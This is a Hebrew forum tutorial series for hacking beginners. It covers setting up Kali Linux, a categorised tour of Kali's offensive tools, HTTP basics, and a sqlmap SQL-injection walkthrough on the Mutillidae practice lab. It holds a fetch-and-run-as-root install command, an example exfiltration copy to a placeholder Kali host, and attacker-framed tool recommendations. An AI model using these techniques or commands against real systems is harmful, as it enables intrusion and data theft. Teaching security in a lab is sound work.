טוב (אני מקווה שיעבירו את הנושא למדריכים בהקדם)
אז ככה
הרבה אנשים שומעים על אבטחת מידע והאקינג אבל לא באמת יודעים מה עושים בתחום הזה ואיך מתחילים ללמוד אותו.
בסדרת המדריכים הזאת נלמד את הבסיס בצורה מעשית, החל מהתקנת סביבת העבודה ועד לעבודה עם כלים אמיתיים.
כדי לעקוב אחרי המדריך כדאי להכיר שימוש בסיסי בטרמינל.
ומי שלא מכיר שיכנס לנושא הזה אומנם זה נועד למשהו אחר, לימוד איך לתפעל קלוד קוד אבל הנושא די דומה ורוב הסבר שם הוא על הטרמינל בכללי
ועכשיו מגיעים לשלב שבו מתחילים את התקנות הראשונות
נכנסים לקישור הבא https://www.kali.org/get-kali/#kali-platforms
ומורידים את קאלי
בקישור שם יש אופציה או להוריד את התמונה של המערכת הפעלה או הורדה של מערכת הפעלה המתואמת למכונה וירטואלית,
יש העדפות לכאן ולכאן
מצד אחד יש יותר שליטה על התאמות בתמונה מצד שני יותר קל להתקין את המכונה המוכנה
אני במאמר הזה כותב רק על רק מוכנה מכונה כי אני לא העמקתי עד כה בתמונה של מערכת הפעלה
כפי שניתן לראות בתמונה יש ארבע סוגי מכונות
יש הבדלים בניהם אני ספיצפית התחלתי עם VirtualBox אבל אם אתם רגילים למכונה אחרת זה בסדר גמור ואפשר להוריד כל אחת שרוצים
שימו לב מדובר במוצר כבד תבדקו שיש מקום ושהמחשב יכול לסחוב את זה
אחרי הורדה תיגשו לאתר של המכונה שהורדתם
אצל מי שהוריד וירטאול בוקס זה קישור הבא https://www.virtualbox.org/
וכאן כמובן נכנסים לתוכנה של מכונה הוירטואלית
לוחצים על OPEN ומתחילים להגדיר את המיקום שאליו הורדנו את תמונת הדיסק המוכנה
אחרי זה יש כמה שאלות כמו כמה ליבות וזיכרון לתת למכונה וזה דברים שמשתנים ממחשב למחשב אז תבדקו לפי העניין
עוד שראיתי שכדאי זה לשנות את הגדרה הבאה
(במקרים רבים הגדלת זיכרון המסך תשפר את הביצועים הגרפיים של המכונה הווירטואלית. )
זה הדבר הזה להגביר את הזיכרון מסך
קליק על הדיספליי ולשנות
ועכשיו המכונה רצה
צריך לבחור סיסמה ושם משתמש מומלץ לבחור משהו קל אין סיבה למשהו קשה
שאני פחות מעוניין להסביר לכם עד הגנבה
יהיה קשה ויצטרכו להפעיל את הראש המון
וזהו המכונה שלכם רצה
בימים הקרובים יעלה המשך לדבר
חשוב לציין שאת רוב הידע שלי שאבתי מאבי סילביה
בתנאי ש @פראירי ו @cfopuser ו @מתכנת-חובב יעזרו לפחות בלתקן את הנזקים שאני עושה
מה למדנו?
מהי Kali Linux
מהי מכונה וירטואלית
איך מתקינים את Kali על VirtualBox
איך מתקינים את תעודת האבטחה של נטפרי
בפרקים הבאים נלמד איך עובדת סריקת אתרים, אילו סוגי מידע ניתן לאסוף, ואיך מקימים מעבדת תרגול בטוחה.
תיקון קטן עבור משתמשי נטפרי צריך תעודת אבטחה
בשביל להוריד את תעודת אבטחה הריצו בטרמינל את הפקודה הבאה
curl -sL https://netfree.link/cacert/united/x2/unix.sh | sudo sh
אוקי וקצת הסבר על הפקודה
curl הוא כלי שמאפשר לשלוח בקשות לשרתים ולהוריד מידע דרך שורת הפקודה.
-sL הs הוא מצב שקט (silent).
ה L מיועדת בשביל מעקב אחר הפניות שהכתובת URL תיתן לו
ואחרי זה יש לנו כתובת URL של נטפרי
מי שרוצה לבדוק מה הוא מוריד שיכתוב את כתובת לבד בדפדפן ויראה
ואחרי ה URL יש משהו שנקרא פיפ (לא יודע איך כותבים את זה)
שזה נראה ככה | כדי לעשות את זה לוחצים שיפט והמקש של הבקסלש ביחד
הסימן | מעביר את הפלט של הפקודה הראשונה ישירות לפקודה הבאה.
אחריו מגיע sudo
הsudo היא פקודה של תן לי הרשאה מנהל מערכת (הנקראת רוט)
כלומר המשתמש עכשיו רוצה לנהל את המערכת לכן תבקש ממנו שוב סיסמה ותוודא שהוא המנהל הבעלדי של המערכת
והדבר הבא זה sh
sh הוא מפרש פקודות (Shell). במקרה הזה הוא מריץ את הסקריפט שהתקבל מהפקודה הקודמת.
חשוב שתבינו משהו
כל הטרמינלים של לינוקס נגמרים בסיומת הזאת
ככה שנטפרי עשו את שגם יש לכם טרמינל מסוג זאש זה עדיין יעבוד לכם
עדכון נוסף
לבנתיים אני לא הצלחתי להתקין את נטפרי ולכן כרגע אני לא ימשיך עד לשחרור שלהם
בפוסט הקודם ראינו את מפת התקיפה.
עכשיו נסתכל על תפריט Kali ונראה כיצד הכלים השונים מחולקים לפי שלבי התקיפה שראינו.
חשוב להבין:
רוב הכלים שמופיעים כאן יכולים לשמש גם להגנה וגם לתקיפה.
בפוסט הזה לא נלמד להפעיל אותם,
אלא רק נבין למה הם משמשים.
כדי להבין טוב יותר את תפריטי קאלי הכנתי סיכום קצר של כל קטגוריה ומה המטרה שלה.
מדובר בתפריט של המערכת כאשר אנחנו נכנסים למערכת קאלי
יש לנו את התפריט הבא
הלחצן התחל מוקף בעיגול
ואז יש לנו רשימה ארוכה שמופיעה
בבתחלה מפורט על
מסומנים בכוכב
האחרונים שהשתמשנו
כל האפליקציות
ואז את האפליקציות בשימוש הסטדרט כמו דפדפן וכולי
ואז יש לנו רשימה מ1 -16 שבהם מופרטים כמה וכמה דברים
ובדבר הזה ביצעתי סיכום עם AI
שימו לב על כל כלים שיש ברשימה מהיום נדבר מפה
לא יהיו עוד הסברים אלא פשוט שימוש בכלים בגישה ישירה
והסבר תמיד יהיה פה
אז בהנאה
01 - Reconnaissance (סיור ואיסוף מידע מקדים)
זהו הצעד הראשון בכל מבדק חדירה. לפני שנוגעים במקלדת, התוקף חייב לאסוף כמה שיותר מידע פומבי וגלוי על המטרה (כתובות מייל של עובדים, דומיינים, כתובות IP, וטכנולוגיות שבהן החברה משתמשת). שלב זה מוגדר כאיסוף מידע פסיבי (מבלי שהארגון ישים לב שמחפשים עליו).
maltego:
theharvester:
spiderfoot:
️ ראש בראש בקטגוריה:
maltego מול theharvester: בעוד ש-theharvester מעולה לשליפה מהירה ופשוטה של רשימת מיילים לתוך קובץ טקסט (למשל לצורך קמפיין פישינג בשלב 03), maltego לוקח את המידע ומציג אותו בצורה גרפית מורכבת שמאפשרת לחקור קשרים עמוקים בין אנשים לחברות ושרתים.
הטוב מכולם: spiderfoot – בזכות האוטומציה המלאה שלו. הוא מסוגל לחסוך ימים של עבודה ידנית ולספק תמונה היקפית מדהימה על נכסי הארגון בלחיצת כפתור אחת.
02 - Resource Development (פיתוח והכנת משאבים)
בשלב זה התוקף כבר יודע על מי הוא מגן או תוקף, וכעת הוא מכין את כלי הנשק שלו. זה כולל יצירת קבצים זדוניים (Payloads), קניית דומיינים מתחזים, או הגדרת שרתים שישמשו אותו בהמשך.
msfvenom:
legion:
הטוב מכולם: msfvenom. הכלים האחרים בקטגוריה הם כלי עזר ניהוליים, אך msfvenom הוא המפעל שמייצר את "חומרי הנפץ" הדיגיטליים עבור התוקף. ללא היכולת לייצר קוד מותאם אישית, לא יהיה מה להריץ בשלבים הבאים.
03 - Initial Access (החדירה הראשונית)
בשלב זה המטרה של התוקף היא למצוא פרצה (כמו חולשה באתר או שרת) ולהשתמש בה כדי להשיג רגל ראשונה בתוך הארגון.
sqlmap:
commix:
dns-rebind:
gophish:
metasploit-framework:
setoolkit (Social-Engineer Toolkit):
️ ראש בראש בקטגוריה:
sqlmap מול commix: שניהם כללי הזרקה אוטומטיים, אך sqlmap מיועד אך ורק לבסיסי נתונים, בעוד commix נועד להרצת פקודות ישירות על שרת האינטרנט.
gophish מול setoolkit: בעוד ש-gophish מצוין לניהול קמפיין פישינג רחב במיילים לארגון שלם, setoolkit מגוון בהרבה ומאפשר לייצר את התוצרים הזדוניים עצמם (כמו שיבוט אתרים מורכב).
הטוב מכולם: metasploit-framework. מדובר ב"ענק" של עולם הפריצה. הגמישות שלו, כמות האקספלויטים והיכולת שלו לשמש גם בשלבים מתקדמים הופכים אותו לכלי החובה לכל תוקף.
04 - Execution (הרצת קוד)
אחרי שמצאנו פתח, אנחנו צריכים לגרום למחשב של הקורבן להריץ את הקוד הזדוני שלנו בפועל.
metasploit-framework:
powersploit:
הטוב מכולם: powersploit. בסביבות ארגוניות מודרניות מבוססות Windows, היכולת של PowerSploit להריץ קוד זדוני באמצעות הכלים המובנים של מערכת ההפעלה (Living off the Land) הופכת אותו לקטלני וקשה מאוד לזיהוי.
05 - Persistence (ביסוס אחיזה)
אם המשתמש יכבה את המחשב, אנחנו עלולים לאבד את הגישה אליו. כאן אנחנו משתילים "דלת אחורית" כדי להבטיח שנוכל לחזור מתי שרק נרצה.
laudanum:
webshells:
weevely:
הטוב מכולם: weevely. בניגוד ל-Web Shells פשוטים וסטטיים שמתגלים בקלות על ידי חומות אש, weevely מייצר תקשורת מוצפנת ומעורבלת, ומספק לתוקף ממשק שליטה נוח ומתקדם כמו טרמינל אמיתי.
06 - Privilege Escalation (העלאת הרשאות)
לרוב, כשפורצים למערכת, נכנסים כמשתמש פשוט ומוגבל. בשלב זה המטרה היא להפוך ל"אלוקים" של המערכת – משתמש Administrator בווינדוס או Root בלינוקס.
linpeas:
winpeas:
peass:
metasploit-framework:
unix-privesc-check:
הטוב מכולם: linpeas / winpeas. הסקריפטים ממשפחת PEASS הם פשוט יצירת אמנות. הם צובעים את הממצאים בצבעים (אדום בוהק מצביע על חולשה של 99% להעלאת הרשאות), חוסכים שעות של עבודה ידנית ומעודכנים לטכניקות הכי חדשות בשטח.
07 - Defense Evasion (התחמקות ממנגנוני הגנה)
כדי שלא יתפסו אותנו, אנחנו חייבים לעקוף אנטי-וירוסים, מערכות EDR וחומות אש.
msfvenom:
exe2hex:
macchanger:
Pass-the-Hash
הטוב מכולם: msfvenom. הכלי החיוני ביותר ליצירת ה"ווירוסים" עצמם. היכולת שלו לשלב הצפנות, לשנות פורמטים ולהזריק קוד זדוני לתוך קבצים לגיטימיים הופכת אותו ללב תעשיית התחמקות ההגנות ב-Kali.
08 - Credential Access (השגת סיסמאות)
מי צריך לחפש חולשות מורכבות אם אפשר פשוט להשיג את שם המשתמש והסיסמה של המנכ"ל?
hashcat:
john (John the Ripper):
hydra:
responder:
crunch:
️ ראש בראש בקטגוריה:
hashcat מול john: שניהם מפצחים סיסמאות אופליין. john קל ופשוט יותר להפעלה ראשונית, אך hashcat מהיר ממנו באלפי מונים ברגע שמחברים לו כרטיס מסך חזק.
הטוב מכולם: responder. בעוד שכלים אחרים דורשים ממך לנחש סיסמאות במשך ימים, responder פשוט יושב ברשת, "עובד" על המחשבים בארגון, ומביא לך סיסמאות ארגוניות על מגש של כסף תוך דקות ספורות ללא מאמץ.
09 - Discovery (מיפוי וסריקה)
כאן התוקף פוקח עיניים ומסתכל סביבו: אילו עוד מחשבים, שרתים ומכשירים נמצאים איתו ברשת הפנימית?
nmap:
zenmap:
masscan:
wireshark:
arping / netdiscover:
הטוב מכולם: nmap. כלי שהוא תעשייה שלמה. אי אפשר להתחיל שום משימת סייבר (תקיפה או הגנה) בלעדיו. מנגנון ה-NSE (סקריפטים מובנים) שלו מאפשר לו לא רק לסרוק פורטים אלא גם לגלות חולשות קריטיות באופן אוטומטי.
10 - Lateral Movement (תנועה רוחבית)
לאחר שפרצנו למחשב אחד (למשל של הפקידה בקבלה), אנחנו רוצים "לדלג" למחשבים אחרים ברשת עד שנגיע ליעד הנחשק – שרת המידע המרכזי או שרת ה-Domain Controller.
evil-winrm:
impacket-psexec / smbexec:
rdesktop / xfreerdp3:
הטוב מכולם: evil-winrm. כלי מודרני, יציב בטירוף, שעוקף בקלות המון מנגנוני הגנה ומאפשר להעלות קבצים, להריץ סקריפטים בזיכרון ולנהל את שרת ה-Windows המרוחק בנוחות מקסימלית.
11 - Collection (איסוף המידע)
הגענו למטרה! מצאנו את השרתים הרגישים, וכעת אנחנו רוצים לרכז, ליירט ולאסוף את המידע הסודי (קבצים, תכתובות, סיסמאות).
mitmproxy:
sslsplit:
ettercap-pkexec:
ssldump:
הטוב מכולם: mitmproxy. בעולם שבו הכל מבוסס על אפליקציות ואינטרנט, הממשק הנוח שלו והיכולת לפרק, לקרוא ולערוך בקשות HTTPS הופכים אותו לכלי העבודה המושלם לאיסוף מידע ויירוט נתונים.
12 - Command and Control (פיקוד ושליטה - C2)
במקום לעבוד מול כל מחשב בנפרד, אנחנו מקימים "מפקדה מרכזית" (שרת C2) שמנהלת את כל המחשבים שפרצנו אליהם באופן אוטומטי.
powershell-empire (Empire):
starkiller:
metasploit-framework:
הטוב מכולם: השילוב של powershell-empire + starkiller. זהו שילוב ברמה של קבוצות תקיפה מתקדמות (APT). השילוב בין מנוע ה-C2 העוצמתי של Empire לבין הנוחות הוויזואלית של Starkiller נותן לתוקף שליטה מלאה ומבט על על כל המבצע הארגוני שלו.
13 - Exfiltration (הברחת המידע החוצה)
אספנו את החומר הסודי, וכעת אנחנו צריכים להוציא אותו ממחשבי הארגון החוצה אל המחשב האישי שלנו, מבלי שמערכות הניטור ישימו לב.
impacket-smbserver:
netcat (nc):
הטוב מכולם: impacket-smbserver. בסביבת Windows ארגונית, הכלי הזה מנצח בגדול. הוא מאפשר לתוקף להשתמש בפקודת ההעתקה המובנית של ווינדוס (כמו copy file.txt \KALI_IP\share) – פעולה שנראית לגיטימית לחלוטין ברשת ולא מדליקה נורות אדומות במערכות האבטחה הארגוניות.
14 - Impact (שיבוש והרס)
השלב שבו התוקף מפסיק להתחבא ומבצע פעולות גלויות שמטרתן לשבש, להרוס או למנוע שירות מהארגון (למשל, תקיפות כופר או מחיקת מערכות).
scapy:
15 - Forensics (חקירה דיגיטלית ופורנזיקה)
כאן אנחנו מחליפים כובע! עברנו לצד של המגנים (הצוות הכחול). כלים אלו נועדו לחקור מחשבים, דיסקים וזיכרונות לאחר פריצה, כדי להבין מה קרה ולמצוא ראיות.
autopsy:
binwalk / binwalk3:
bulk_extractor: סורק מהיר במיוחד השולף ישירות מחומרי הגלם של הדיסק תבניות טקסט כמו כתובות מייל, מספרי כרטיסי אשראי וכתובות IP, גם אם מערכת הקבצים מושחתת.
hashdeep:
הטוב מכולם: autopsy. זהו התקן המקצועי המשמש חוקרים במשטרה ובחברות פרטיות. היכולת שלו לרכז את כל שלבי החקירה תחת קורת גג אחת, להציג את הממצאים בצורה ויזואלית ולהפיק דוח קביל משפטית הופכת אותו לכלי החובה בפורנזיקה.
16 - Services and Other Tools (ניהול המערכת)
קטגוריית התמיכה והתחזוקה הפנימית של מערכת ההפעלה Kali Linux.
Kali Tweaks:
PowerShell:
Root Terminal Emulator:
תרשים זרימה
שלב 1-2: אוספים מידע (Recon) ומכינים את הקבצים הזדוניים (Resource Development).
שלב 3-5: חודרים לארגון (Initial Access), מריצים פקודות (Execution) ומשתילים דלת אחורית (Persistence).
שלב 6-8: עוקפים את האנטי-וירוס (Defense Evasion), הופכים למנהלי מערכת (Privilege Escalation) וגונבים סיסמאות של משתמשים אחרים (Credential Access).
שלב 9-11: סורקים את שאר הרשת (Discovery), מדלגים למחשבים של ההנהלה (Lateral Movement) ואוספים את החומרים הסודיים ביותר (Collection).
שלב 12-14: מנהלים הכל משרת מרכזי (C2), מבריחים את הקבצים החוצה (Exfiltration) או משבשים את פעילות החברה (Impact).
ועוד משהו אחד
חברה מה שיש פה זה ספר טלפונים ברמה מסיומת
הוא לא מתיימר להביא את הפירוט על כל כלי
אלא לתת היכולת התנסות עצמית במערכת
ואין לראות בספוילרים של הטוב מכולם, או ראש בראש, המלצה מסיומת
לכל פעולה נדרשים כלים שונים ו
הסבר הניתן כאן הוא עבור הכלים המומלצים ביותר
אך יתכנו משימות עם כלים אחרים
כלומר המטרה של הפוסט הזה אינה ללמוד את הכלים עצמם.
המטרה היא להבין כיצד Kali מסדרת את הכלים לפי שלבי העבודה.
מהיום, בכל פעם שנשתמש בכלי חדש,
נוכל לדעת לאיזו קטגוריה הוא שייך
ואיזה תפקיד הוא ממלא בתהליך.
ועוד משהו בהתאם לתרשים זרימה אפשר לראות את התמונה הזאת שהסברתי למעלה מתבהרת
מה למדנו היום?
✓ כיצד Kali מחלקת את הכלים לפי שלבי התקיפה.
✓ מה המטרה של כל קטגוריה מרכזית.
✓ כיצד למקם כלי בתוך תהליך עבודה שלם.
✓ מדוע חשוב להבין את המתודולוגיה לפני שלומדים כלים.
שלום לכול מי שצופה ולומד
היום אני רוצה ללמד על פרוטוקול HTTPS
לפני שמתחילים לעבוד מול אתרים, חשוב להבין איך התקשורת בינם לבין הדפדפן עובדת.
כי כמעט כל כלי אבטחת מידע שעובד מול אתרים מתבסס על HTTP, ולכן חשוב להבין את הפרוטוקול לפני שמתחילים לעבוד עם הכלים עצמם.
HTTP (ראשי תיבות של HyperText Transfer Protocol) הוא הפרוטוקול הבסיסי המשמש לתקשורת בין דפדפנים, אפליקציות ושרתי אינטרנט. בכל פעם שנכנסים לאתר, שולחים טופס או משתמשים ב־API, מתבצעת למעשה תקשורת באמצעות HTTP.
העיקרון פשוט: הלקוח (לדוגמה דפדפן(לסוגיו השונים)) שולח בקשה (Request) לשרת, והשרת מחזיר תגובה (Response). לדוגמה, כאשר מבקשים דף אינטרנט, הדפדפן שולח בקשת GET והשרת מחזיר את תוכן הדף יחד עם מידע נוסף כגון סוג התוכן וקוד הסטטוס.
ויש מספר קודים המסייעים לדפדפן להבין את התוצאה למשל 200 מדווח על הצלחה ו404 על כישלון
לרשימת קודים תכנסו לקישור הבא כאן
HTTP כולל מספר שיטות נפוצות, בהן GET לקבלת מידע, POST לשליחת מידע לשרת,
GET משמש בדרך כלל לבקשת מידע מהשרת, בעוד POST משמש לשליחת מידע לשרת.
דוגמה:
כאשר אתם נכנסים לכתובת:
https://example.com/login
הדפדפן שולח בקשת GET כדי לקבל את עמוד ההתחברות.
לאחר שאתם ממלאים שם משתמש וסיסמה ולוחצים התחבר,
הדפדפן שולח בקשת POST שמכילה את הנתונים שהזנתם.
מאפיין מרכזי של HTTP הוא שהוא Stateless(סטסלאס), כלומר כל בקשה מטופלת באופן עצמאי והשרת אינו חייב לזכור בקשות קודמות. מסיבה זו משתמשים לעיתים במנגנונים כמו Cookies כדי לשמור מידע בין בקשות שונות.
כלומר אין הגיון שבכל שליחת פוסט לאתר פה נצטרך להזין מחדש את הסיסמה לכן יש עוגיות ששומרות את זהוי שלנו(ID) בתוך עוגיה
אבל זה בהכרח דווקא זהוי אלא פעמים רובות זהוי והרבה פעמים זה אחר בכלל
כלומר בוא וניתן פה אנלוגיה לחיים עצמם
נניח ופגשתם קרוב משפחה שלכם ואתם שואלים אותו אם הוא יכול לבוא להתארח אצלכם השבת? והוא עונה השבת אני צריך להיות בצד השני (יש שם שבת חתן) ואז אתם אומרים לו ומה לגביי השבת שאחרי? והוא עונה שבת אחרי אני יכול
עכשיו אם תיגשו אליו ותגידו לו מיד
מה לגביי השבת שאחרי? והוא לא יבין מה אתם רוצים ממנו
אותו דבר גם ב־HTTP. כל בקשה מגיעה כאילו היא הראשונה, אלא אם משתמשים במנגנון כמו Cookies שמאפשר לזהות את המשתמש בין בקשות שונות.
בהמשך הסדרה נראה כיצד כלים שונים משתמשים בעוגיות כדי לגשת לעמודים פנימיים באתר.
כדי שהדפדפן יידע לאיפה להגיע המרחבי האינטרנט יש URL
URL הוא הכתובת של המשאב באינטרנט, למשל כתובת של אתר, תמונה או קובץ.
ועכשיו מי שיבדוק ממה עשוי URL שבו גולש כרגע יגלה שהוא גולש דרך HTTPS
אז מה זה הS ???
ה־S שבסוף HTTPS מייצגת את המילה Secure (מאובטח)
האות S מציינת שהתקשורת בין הלקוח (למשל הדפדפן) לבין השרת מוצפנת באמצעות פרוטוקול TLS (בעבר SSL). ההצפנה נועדה למנוע מגורמים בדרך לקרוא או לשנות את המידע המועבר.
לדוגמה, כאשר מתחברים לאתר באמצעות HTTP רגיל, אדם בעל גישה לתעבורת הרשת עשוי לראות את המידע שעובר. לעומת זאת, ב־HTTPS הנתונים מוצפנים, כך שגם אם מישהו יירט את התעבורה, הוא לא יוכל להבין את תוכנה
וחשוב לזכור
HTTPS אינו מצפין רק סיסמאות, אלא את כל התקשורת בין הדפדפן לשרת.
עד עכשיו הקמנו את המעבדה. היום נבצע את התרגול הראשון ונראה כיצד חולשת SQL Injection עלולה לחשוף מידע רגיש ממסד נתונים.
ומה בעצם עושים היום
כלומר מה אנחנו מנסים להשיג?
למצוא נקודת חולשה.
להבין האם ניתן להגיע למסד הנתונים.
למפות את מבנה הנתונים.
לראות איזה מידע ניתן לחשוף.
המטרה אינה לזכור את הפקודות אלא להבין את תהליך החשיבה.
היום נרד לשטח ונבדוק תרחיש אמיתי של תקיפת קופסה שחורה - Black Box (בלק בוקס).
בבדיקות Black Box אנחנו מגיעים ללא גישה מוקדמת למערכת.
בבדיקות Grey Box אנחנו מתחילים עם הרשאה מסוימת ומנסים להבין מה ניתן לעשות ממנה.
אנחנו עושים תקיפה עם ידע מוגבל על המערכת. אנחנו לא בדקנו מראש דפים פגיעים יותר או פחות אלא ניגשנו ישירות לבדיקה של מנגנון ההתחברות.
במצב כזה, אנחנו מגיעים לאתר כהאקרים זרים מהאינטרנט. אין לנו שם משתמש, סיסמה או קוקיז - Cookies (קוקיז) שיאפשרו לנו להיכנס לעמודים הפנימיים. השער היחיד שפתוח בפנינו הוא עמוד הלוגין - Login (לוגין) הציבורי.
אנחנו הולכים לנצל פגיעות SQL Injection (סקוול אינג'קשן) בשדה שם המשתמש (username) של טופס ההתחברות, כדי לעקוף את מנגנון האבטחה ולהכריח את השרת להוציא לנו את כל המידע הרגיש החוצה - ישירות למסך של קאלי (Kali).
דרישת קדם: הגדרת רמת האבטחה במעבדה
לפני שמתחילים, עלינו לוודא שהמעבדה נמצאת במצב הפגיע ביותר שלה.
באתר של Mutillidae (מוטילידיי), גשו לתפריט העליון, חפשו את הכפתור Toggle Security (טוגל סקיוריטי) ולחצו עליו עד שתראו שרמת האבטחה שונה למצב 0 (Security Level: 0). מצב זה מדמה אתר אמיתי שנכתב בצורה רשלנית לחלוטין וללא שום הגנות על שדות הקלט.
שלב 1: מיפוי ובדיקת פגיעות
הפנינו את הכלי ישירות אל עמוד הלוגין. מכיוון שטופס ההתחברות נשלח בשיטת POST (פוסט) שבה הנתונים חבויים בגוף הבקשה, הגדרנו את הפרמטרים שלו בעזרת הדגל --data.
פירוט הפרמטרים בפקודה:
-u (קיצור של URL - יוראל): מגדיר את כתובת היעד הציבורית של עמוד הלוגין שאותו אנחנו רוצים לבדוק.
--data (דאטה): מכיל את השדות שנשלחים בטופס ה-POST (פוסט). הכנסנו ערכי דמי (username=test&password=test) פלוס השם של כפתור השליחה כדי שהשרת יחשוב שמשתמש אמיתי לחץ עליו.
-p username (פרמטר): פקודה מפורשת לכלי לבדוק רק את השדה של שם המשתמש, ולא לבזבז זמן על בדיקת שדה הסיסמה או לחצן השליחה.
--dbms=mysql (די-בי-אמ-אס): אומר לכלי שמסד הנתונים מאחורי הקלעים הוא MySQL (מאי-סקוול). זה חוסך בדיקות מיותרות של סוגי מסדי נתונים אחרים כמו אורקל או סקוול-סרבר.
--batch (באטץ'): פקודה שאומרת לכלי לעבוד במצב אוטומטי - לבחור תמיד באפשרות ברירת המחדל (Yes - יס) ולא לעצור באמצע הסריקה כדי לשאול אותנו שאלות.
--dbs (דאטאבייסז): הוראה מפורשת שאומרת: אם מצאת פגיעות, תשלוף מיד את רשימת בסיסי הנתונים הקיימים בשרת.
מה קרה כאן מאחורי הקלעים?
השרת ניסה לייצר עבור הכלי עוגיית אורח זמנית בשם PHPSESSID (פי-אייץ'-פי-סס-אי-די). הכלי אישר אותה אוטומטית כדי לשמור על קשר רציף מול האתר. הוא זיהה ששדה ה-username פגיע, ובסיום הסריקה הציג לנו רשימה של בסיסי נתונים. זיהינו שהבסיס המרכזי של האתר נקרא mutillidae (מוטילידיי).
אני רוצה שניה לדבר על אונלוגיה של הבדל בין עמודה לטבלה בבסיס הנתונים
אפשר לחשוב על בסיס הנתונים כמו ארון.
טבלאות הן המגירות.
עמודות הן סוגי המידע שנמצאים בכל מגירה.
שלב 2: שליפת הטבלאות מתוך בסיס הנתונים
עכשיו כשיש לנו את שם ה-Database (דאטאבייס), אנחנו רוצים לדעת אילו טבלאות קיימות בתוכו כדי למקד את התקיפה. הרצנו את הפקודה הבאה:
פירוט הפרמטרים החדשים בפקודה:
-D mutillidae (דאטאבייס): מגדיר לכלי באיזה בסיס נתונים ספציפי להתמקד (במקרה שלנו, זה שגילינו בשלב הקודם).
--tables (טייבלז): פקודה לשלוף את שמות כל הטבלאות (ה"מגירות") שנמצאות בתוך אותו בסיס נתונים.
מה קרה כאן מאחורי הקלעים?
הכלי לא סרק את האתר מחדש. הוא טען את נקודת ההזרקה ששמר בזיכרון מהסבב הקודם (טכניקה שנקראת Resumed Session - ריזומד סשן). הוא שלח שאילתה ששלפה רשימה של 13 טבלאות. מתוכן, סימנו את הטבלה המעניינת ביותר עבורנו: accounts (אקאונטס), שם שמורים המשתמשים.
שלב 3: מיפוי העמודות בטבלת המשתמשים
לפני שאנחנו מורידים מידע סתם, אנחנו צריכים להבין את המבנה הפנימי של הטבלה שבחרנו. נרצה לדעת אילו טורים (Columns - קולומז) קיימים בה:
פירוט הפרמטרים החדשים בפקודה:
-T accounts (טייבל): מנחה את הכלי להתמקד אך ורק בטבלה הספציפית שנקראת accounts (אקאונטס).
--columns (קולומז): הוראה לשלוף את שמות הטורים (הכותרות) ואת סוגי המידע שיש בטבלה הזו.
מה קרה כאן מאחורי הקלעים?
הכלי חילץ את המבנה וגילה שיש בטבלה 10 עמודות שונות, כולל שדות כמו שם פרטי, סטטוס מנהל, ומה שחשוב לנו באמת: העמודות username (יוזרניים) ו-password (פסוורד).
שלב 4: הורדת המידע (The Dump - הדאמפ)
זהו שלב סגירת המעגל. ביקשנו מהכלי לשלוף רק את שני הטורים שמעניינים אותנו ולרוקן את התוכן שלהם למחשב שלנו:
פירוט הפרמטרים החדשים בפקודה:
-C username,password (קולומז): הגדרה מפורשת לשלוף נתונים אך ורק משתי העמודות האלו, כדי לא לבזבז זמן ותעבורה על מידע לא רלוונטי.
--dump (דאמפ): הפקודה שמבצעת את חילוץ הנתונים בפועל והורדתם למסך.
התוצאה הסופית:
מסד הנתונים הריץ לולאה והחזיר פלט נקי של 41 משתמשים רשומים במערכת בטקסט גלוי (Clear Text - קליר טקסט), כולל שם המשתמש והסיסמה של מנהל המערכת (admin / adminpass). בנוסף, המידע נשמר אוטומטית כקובץ בתצורת CSV (סי-אס-וי) בתוך תיקיית הפלט של הכלי בקאלי.
שורה תחתונה לחלק זה: כשעמוד ציבורי כמו לוגין אינו מאובטח (רמת אבטחה 0), הגנות פנימיות כמו עוגיות או בדיקות הרשאות הופכות ללא רלוונטיות. האקר יכול להשיג שליטה מלאה בנתונים מבלי לעבור את דף הבית. בפרק הבא נראה מה עושים כאשר האתר מוגן יותר, ואיך עובדים מול עמודים פנימיים באמצעות עוגיות מהדפדפן (Grey Box Testing - גריי בוקס טסטינג).
ועוד נקודה לציון הבדל בין קופסה אפורה לשחורה הוא
בשחורה אנחנו באים על עיוור בלי קוקיז ותוקפים בדף פגיע
באפורה אנחנו באים עם קוקיז חיבור בהרשאה מסוימת לאתר וממנו מנסים לעלות למעלה בהרשאה
וחברה אם משהו לא ברור הוא לא מובן וכמו כן כל הערה והארה יתקבלו בברכה
מצפה לתגובות כאן
מה למדנו היום?
✓ איך נראה תהליך עבודה מסודר.
✓ איך עוברים מגילוי חולשה להבנת מבנה המידע.
✓ למה חשוב להבין את מבנה הנתונים לפני שמנסים לחפש מידע.
בפרק הבא נראה מה משתנה כאשר אנחנו מתחילים עם הרשאות קיימות למערכת.
לפני תחילת פרק זה אני יתן קרדיט למי שכיוון אותי בנושא ועזר ונתן תמיכה וזה כמובן @cfopuser האלוף שנענה תמיד לאתגר ועזר בכל מה שאפשר
הצפנת נתונים – מה באמת קורה מאחורי הקלעים?
עד עכשיו מלא דיברו בפורום על הצפנה בצורה כללית, אבל אם רוצים להבין איך היא באמת עובדת, צריך להתחיל מהבסיס. נבין איך המחשב בכלל שומר מידע, למה הוא עובד רק עם 0 ו־1, איך נולד הייצוג ההקסדצימלי, ורק אחר כך נגיע להצפנה עצמה.
למה מחשבים עובדים רק עם 0 ו־1?
בתוך המעבד (CPU) יש מיליארדי רכיבים זעירים שנקראים טרנזיסטורים.
אפשר לחשוב על טרנזיסטור כעל מתג חשמלי קטן מאוד. (כן כזה כמו של האור בבית ויש בו 2 מצבים)
למה רק שתי מצבים??
לכאורה היה אפשר לבנות מחשב שיודע לזהות עשר רמות שונות של מתח חשמלי, וכך כל רמה הייתה מייצגת ספרה אחרת (0 עד 9).
אבל כאן מתחילה הבעיה.
בפועל, מספיק שינוי קטן בטמפרטורה, רעש חשמלי או הפרעה אלקטרומגנטית כדי לגרום למתח שאמור לייצג "7" להיראות כמו "6".
לכן בחרו בשיטה הרבה יותר אמינה:
יש מתח — או שאין מתח.
אין צורך להבחין בין עשר רמות שונות, אלא רק בין שני מצבים ברורים.
אין מתח → 0
יש מתח → 1
היחידה הקטנה ביותר הזו נקראת Bit (ביט), קיצור של Binary Digit.
וכאן יש שאלה מעניינת אם המחשב תומך רק בשתי ספרות
איך עושים חשבונות מורכבים יותר
איך מייצגים תמונות
ועוד כל פעולות מורכבות
אבל אני פחות בא להסביר על מחשב בכללי
ולכן אני מסביר עכשיו על יותר נושא שקשור לאבטחת מידע
והוא הקסה דיצמבלי (המוכנה הקסה)
אנחנו רגילים לחשוב בבסיס עשרוני (Base 10).
יש לנו עשר ספרות:
0–9
